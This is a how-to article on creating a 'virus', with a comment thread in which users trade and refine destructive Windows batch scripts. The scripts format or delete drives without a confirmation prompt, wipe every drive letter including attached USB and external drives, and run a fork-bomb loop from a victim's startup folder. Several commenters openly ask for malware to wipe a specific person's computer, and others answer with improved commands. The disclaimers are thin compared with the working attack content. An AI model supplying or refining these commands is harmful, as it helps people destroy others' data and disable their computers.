3 Ways to Create a Virus

I know this is going to be controversial. This is for informational purposes only. DO NOT spread or release the viruses created in this article. This will land you in jail. I am going to teach you how to create a virus. One very basic batch virus to code yourself and two virus construction kits.

DO NOT RELEASE THESE VIRUSES.

Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press... Right?

I do not believe this to be a violation of the Instructables TOS, as I discourage you from releasing the viruses and I do not give you the viruses, I simply tell you how to create them.

Step 1 DIY (very) Basic Batch Script That Does Essentially Nothing

Please note new title. You may wish to skip to the next step.

What you should do here is to open a window of notepad. Enter

FORMAT C: 

and save the file as disk_destroyer_basic.bat.

This won't spread or do anything fancy. It will just wipe your hard disk. There are a few quirks to be worked out with this method, but like I said, informational purposes only.

[grega30]

HELLO i am kind of new here,can u help?

[englis]

how do u create the bes virus

[BlackHoleMan]

 Firstly you should learn assembly language. Using this you can override most computer settings and create a virus... or even a virus creator that will release new viruses.

[zachht111]

'emblem of faith' is right. Why would you upload a virus just to hurt other people? it doesnt even make sense..................

[kunal_smartfriend]

dear, i think u r right....

[LightzOut]

Hey hackers :D
Im 16 and havent a clue about creating my own hack, i know theres ones you just type in notepad and save as .bat and hundreds of other file extensions.
I was wondering how do I learn to hack? xD As in the serious stuff firewalls etc just for educational purposes (: . I understand it'll take years and years of practice, but where should I begin? Which are the best languages i should learn? c++?
My email is [e-mail]
Thanks

how is format C: going to do anything if your running windows off that partition? It won't let you... Also, what about the confirmation? It asks you if you really want to format that partition and that all data will be lost (duh)... So basically the way it is now the person would get a box popped up asking them if they want to erase everything... . yea, should work swell..

[boxerdog]

If you type the following: format /q C:\ It will not ask you to confirm the delete.

[ismaelplague]

i think is supposed to be format c:\ /q

[BlackHoleMan]

 correct.

[NetDex]

There are viruses on those virus makers.

[BlackHoleMan]

 Nope. Your antivirus programs recognise this as a virus due to the fact that it contains viral codes, but these will not do anything unless you actually make a virus and run it.

[01kgunn]

The ultimate virus would play "Never Gonna Give You Up" on loop... The ultimate rickroll!

[BlackHoleMan]

It's actually easy to make such a virus...

[jwalker123]

EPIC!!

[dbmccalmon]

can someone provide me with a virus that i can send through an email that will wipe out his whole harddive and leave all data unrecoverable,[e-mail]

[BlackHoleMan]

 nope. all data on a wiped hard drive may be recovered in a suitable lab.

[runescapeuser93]

can someone send a virus that will crash the whole computer and perhaps wipe everything to this e-mail [e-mail].

[BlackHoleMan]

 Crash the computer? Easy! Just type this into notepad:
:A
start
start
start
goto A

then save it as all file types, and at the end of the filename put .bat , then simply put in the victims startup folder, and the computer will crash every time windows is turned on

[armstrong123]

if you know somebody that does send an email that erases the hard drive or blowup the computer, let me know, so you can send it to this email: [e-mail] thanks and let me know ehehehe

[formica]

you can automatically perform a format by using the following: format c: /autotest it won't ask you anything, and if you make it like this: format c: /autotest > nul it won't even show you anything, all you will see if hard drive activity Having said that, this "virus" is pretty lame.

[cykwong]

is there any this kind of "virus" in the form of jpg or excel embedded?

[BlackHoleMan]

 Definitely, go download a virus creator from VX Heavens and you'll be able to create a jpg or excel virus. Even a word document virus!

[nukemm33]

I don't know about jpg but you can create a "virus" using VBA in excel. Although, they will have to enable macros in order for it to run.

[BatchMan]

the jpeg vir is impossable, it's just a bunch of 1s and 0s

[ac1D]

jpeg virus(not really virus, but malware) are popular!

[formica]

Everything on a computer is '1's and '0's. You right click on a JPG file that you took from a camera, and have a look at teh Summary information. You will most likely see the model of camera that you took it with, the date you took it and alot of other information. It's called stenography, look it up. Nothing is impossible.

will FORMAT C work???

[BlackHoleMan]

 No. You need to put FORMAT C:
Another reason to put FORMAT C: -y is that just FORMAT C: asks the user if they want to wipe their ow hd, to which they will say no. FORMAT C: -y will perform the same operation, but without needing confirmation.

[hq]

this will format the hard drive with out the person knowing stupid @echo off DEL C:\ -y DEL D:\ -y FORMAT C:\ -y no need to thank me

[greatdon]

hello kindly tell me that will it format all the partitions of the hard drive or not i want such a virus which can destroy whole data of a hard drive so kindly give me any method to create it or help me by other means my email address is [e-mail] i hope u will contact me soon

[thinker]

for a simple format of C drive "@echo off format C: -y" will work when saved as a .bat file name of your choice for multiple hardrives generally its best if you find the number of hardrives on the machine and change the code for that, simply copypasting the "format C: -y" line starting with the partitions, then ending at the partition currently being used or C drive as far as i know it wont technically work for multiple partitions, but as it wipes the core sector of the hardrive, unless they professionally recover it (will have to pay lots of money for ), they wont be able to view, access or know the data is not corrupted, so for all intents and purposes the hardrive will be dead also "format C: \q" also works i believe

[BlackHoleMan]

 That will only format the C: partition of the drive. To ensure all partitions and drives are destroyed you would have to write
@ echo off
format A: -y
format B: -y

and so on for all the letters of the alphabet. This will not only wipe all the partitions on the computers main drive, but also any other devices connected to it, such as usb sticks, cds and external hard drives.

[nerdswithswag]

do i just type this into run

[BlackHoleMan]

 Nope. You type all this into notepad, click save as, change the file type to all files and after the name you call the file you put .bat , then you can save it, and when you open it, the command will be executed
